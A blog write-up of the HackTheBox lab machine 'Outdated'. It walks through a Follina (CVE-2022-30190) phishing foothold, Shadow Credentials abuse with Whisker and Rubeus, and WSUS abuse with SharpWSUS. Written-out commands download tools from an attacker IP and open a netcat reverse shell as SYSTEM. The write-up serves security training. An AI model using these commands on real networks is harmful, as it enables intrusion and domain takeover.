As a Matter of Hacked

HackTheBox: Outdated

HackTheBox: Outdated

Ron Twist's photo
Ron Twist
·

10 min read

Introduction

Outdated is rated as a medium-difficulty Windows machine on HackTheBox. This machine hosts several common Active Directory Domain Controller services, as well as a few services we don't normally see on non-domain joined workstations. In short, this was a very unique and educational box so let's start hacking!

Enumeration

Our initial scan already looks pretty full so we kick off a full port scan to make sure we don't miss anything. After that completes we start a service scan to run default scripts and enumerate for service versions.

We end up with 22 open ports ranging from:

  • SMTP (25)

  • DNS(53)

  • Kerberos(88)

  • MSRPC(135)

  • SMB (139/445)

  • LDAP(389/636/3268/3269)

  • WinRM(5985)

  • IIS(8530)

  • As well as a handful of additional MSRPC ports in the upper port range.

From the default scripts we can already see

  • A domain of outdated.htb

  • A hostname of dc.outdated.htb

  • A mail server at mail.outdated.htb

  • There's even a certificate authority named outdated-DC-CA

HTTP (8530)

We see an IIS server on 8530 but when we visit it we only see a blank page. We do a few internet searches and see that 8530 is normally used for Windows Server Update Services (WSUS).

  • There are some vulnerabilities surrounding the implementation of WSUS. Specifically, in its default configuration the service will transport metadata over unencrypted HTTP rather than HTTPS. Due to this insecure configuration, it is possible to perform a MiTM attack to modify the metadata and inject a new update for any victim machine requesting one from the service.

  • For offensive purposes, we could pass a Microsoft-signed binary, such as PsExec, to achieve command execution without causing a stir with EDR. However, it should be noted that to accomplish this attack we need to perform a MiTM attack. This typically means ARP spoofing with Bettercap.

  • ARP spoofing is definitely not allowed in HackTheBox labs :( But this is still an important attack vector to be aware of. Moving on for now..

Initial Foothold

SMB

We can see a few shares while passing a blank username to the SMB service with crackmapexec

We're able to grab a pdf from the "Shares" ...share. It looks to be a message for the IT staff to watch out for a couple of different CVE vulnerabilities resulting in either privilege escalation or remote code execution.

After reading through the different exploits the ITSupport group was on the prowl for, it seemed like CVE-2022-30190 might be the most likely to be exploitable.

  • CVE-2022-30190 - RCE in Microsoft Windows Support Diagnostic Tool (MSDT)

  • CVE-2022-30138 - Local PrivEsc in WIndows Print Spooler

    • A Local Privesc vector doesn't make sense for now(but keeping it in mind for later)

  • CVE-2022-30129 - Visual Studio Code RCE

    • We don't know if it's installed. Seems odd to do coding on the DC.

  • CVE-2022-29130 - Windows LDAP RCE

    • This one seemed interesting since we do see LDAP running. But it requires a non-default configuration and we couldn't find too much in the way of PoC or even a decent explanation of the vulnerability. Just plenty of patches.

  • CVE-2022-29110 - Microsoft Excel RCE

    • Again, we don't know if it's installed. Seems odd to do spreadsheets on the DC.

Lastly, within the PDF we can identify an email address, itsupport@outdated.htb, where they're asking folks to email links for any internal web applications... sounds like if we send a link we might get a "click"... or at least some kind of user interaction

SMTP

Luckily there's a mail server we can play with!

We start by just using telnet to connect to the IP on port 25 and sending a message with a link.

At the same time, we set up a quick python3 server on 80 and wait to see if we get a callback.

  • We sit on our hands for a few moments and eventually, we see a request come through that matches the link we sent over email.

Now that we've got a decently reliable callback we can start trying to find something malicious to load.

We check out a couple of different exploit repos for CVE-2022-30190, but find this one to be the most reliable and easiest to use.

Many of the available PoCs try to craft a malicious .doc or .rtf file that will direct the victim to a malicious webserver(which we host). Once there, the victim GETs an HTML file containing a script utilizing the ms-msdt:/ protocol. In our case we already have someone clicking through links so we just need this html file and can completely bypass any social-engineered Word doc deliveries.

The script sets up this exploit page at http://IPAddress/exploit.html. This is going to be the new target we send to ITSupport in our next email.

  • When invoking the follina.py script to generate our exploit.html file, we're going to pass a Powershell command to download and execute an additional Powershell script with a reverse shell in it.

This exploit script also sets up the HTTP server for us. After we send our email and wait a few moments we see it first do a GET on /exploit.html then it does a GET on /rev42.ps1 (make sure this is in the same directory) and we get a reverse shell on our specified port 4242.

Lateral Movement

We get on the box as the user outdated\btables. We transfer over Winpeas for automated enumeration while also doing a manual walk around the filesystem.

  • Nothing really stands out to us as an obvious escalation path with either Winpeas or looking around the local filesystem. Strangely enough, we notice that the hostname is now client whereas our earlier scans from the outside identified it as dc.outdated.htb. Feels a bit like we might be in a container.

However, we are now on a domain joined box as a domain user. This means we can upload SharpHound.exe and query the Domain Controller for some additional information. If we had creds for our current user we could run bloodhound.py from the outside but since we don't know the password for btables yet, we settle for running it in the context of our current session.

  • After SharpHound has finished running it'll output a .zip file containing the results. We transfer this over to our ATK box by setting up an SMB share:

  • Then we use the copy command to copy the local file to the remote share.

    • copy 20230627183515_Bloodhound.zip \\10.10.14.2\kali\

After transferring the Bloodhound collection to our ATK machine we start the neo4j database, open Bloodhound, clear our last project and import this new collection.

The first thing we search for is btables and mark them as pwned.

  • Next, we inspect the "Node Info" for btables and click through for the 9 "Reachable High Value Targets"

  • On an aside, I'm sure everyone is very happy this user isn't using their middle name on production servers..

When we click through the "Reachable High Value Targets" option, we see an interesting attack path emerge.

  • It looks like btables is part of the ITStaff domain group which has the AddKeyCredentialLink ability on the domain user sflowers. In turn it appears sfloewrs is able to PSRemote into the Domain Controller at dc.outdated.htb

We right-click the edge for AddKeyCredentialLink to learn a bit more about how to abuse it.

  • Looks like we can run a utility called Whisker (https://github.com/eladshamir/Whisker) to create "Shadow Credentials" on Sflowers. We can then use those "shadow credentials" to request a TGT from Kerberos and finally authenticate through Kerberos PKINIT.

There's a lot more research behind this technique which is detailed and contextualized by the author in the following blog post released by SpectreOps:

Happily for us, Whisker is part of the SharpCollection github repo that keeps updated and pre-compiled versions of certain Windows binaries that aren't always the most convenient to compile on Linux machines.

We transfer Whisker over to the target machine and add an authentication certificate to the SFlowers user.

  • .\whisker.exe add /target:sflowers

After generating the certificate the tool instructs us to use Rubeus to request the TGT for this user. However, this is where I started running into a small headache of issues. When trying to enter it directly into the terminal it appears to be cutting off our certificate before reading the entire base64-encoded blob.

  • I tried enclosing the certificate with single-quotes, double-quotes, backticks, etc.. but eventually, it seemed to be a limitation of the reverse shell more than anything else. I noticed that the error message would change based on the number of characters I would add or remove to the certificate or the overall command. This led me to believe the issue was one of input length limitations.

So to simplify, we copy the entire command into a powershell script that we end up calling rub.ps1

  • Now we can just run the script and we shouldn't have to worry about character limits: ./rub.ps1

Towards the end of the output, we can even snag the NTLM hash for this user.

Now we can pass-the-hash for SFlowers and login through WinRM with the evil-winrm utility.

Privilege Escalation

Looking around the system now as sflowers we notice that we're out of the 'client' container and are back on to dc.outdated.htb

When we run whoami /all on sflowers we see they're a part of the OUTDATED\WSUS Administrators group.

  • That's gotta be worth something right? Having administrative control over network-wide computer updates?

At this point, we go down a nice rabbit hole of how we can possibly exploit this service as a service admin.

  • We come across a nice blog post about abusing the WSUS service and there's even a C# tool to accompany it. Unfortunately, this Windows C# tool is uncompiled and we're on Linux..

Eventually, we get everything compiled, and transferred from our Windows VM, to our Linux ATK machine, and finally back to our Windows victim! (Really wish this utility was part of the SharpCollection repo like Whisker was!)

Based on everything we've read so far we need to use a Microsoft-signed binary for the update. To satisfy this requirement we'll use PsExec64.exe. We transfer this tool to the victim machine:

  • iwr -uri http://10.10.14.2/PsExec64.exe -outfile C:\windows\tasks\ps.exe
  • We also transfer over nc64.exe to get a quick reverse shell going. However, an attacker could just as easily use an msfvenom reverse shell, a Powershell script, etc...

We follow the format of the update examples given when viewing the documentation for SharpWSUS. Most of it seems fairly arbitrary but the /payload: as well as the /args: sections are both critical for successful exploitation.

  • For payload, we'll specify the full path to our PsExec64.exe file (renamed ps.exe)

  • For the args, we need to specify the path to our netcat binary, pass the -e flag to run a program when connecting, specify cmd.exe as the program to run upon connecting, and lastly we provide the ATK IP address and port.

    • NOTE: -accepteula -s -d are all flags specific to PsExec. You ALWAYS need to use -accepteula the first time you run it. -s specifies to run a process as System, and -d makes it non-blocking

    • .\sw.exe create /payload:"C:\windows\tasks\ps.exe" /args:"-accepteula -s -d C:\windows\tasks\nc.exe -e cmd.exe 10.10.14.2 4242"

After generating the "update" we need to approve the update. Again we can use the SharpWSUS tool for this. NOTE: the value for /groupname: appears to be arbitrary.

  • .\sw.exe approve /updateid:<UUID> /computername:dc.outdated.htb /groupname:"blahblah"

Provided we already have a Netcat listener ready, we should see the update hit within a minute or two and reward us with a reverse shell as SYSTEM.

Now, just in case we ever end up with the ability to control the WSUS server in an AD environment, we have the potential to gain elevated privileges on any number of domain-joined systems by sending them an update. This one feels like a powerful attack vector to keep up our sleeves!

hacking#HackTheBoxActive DirectoryWindows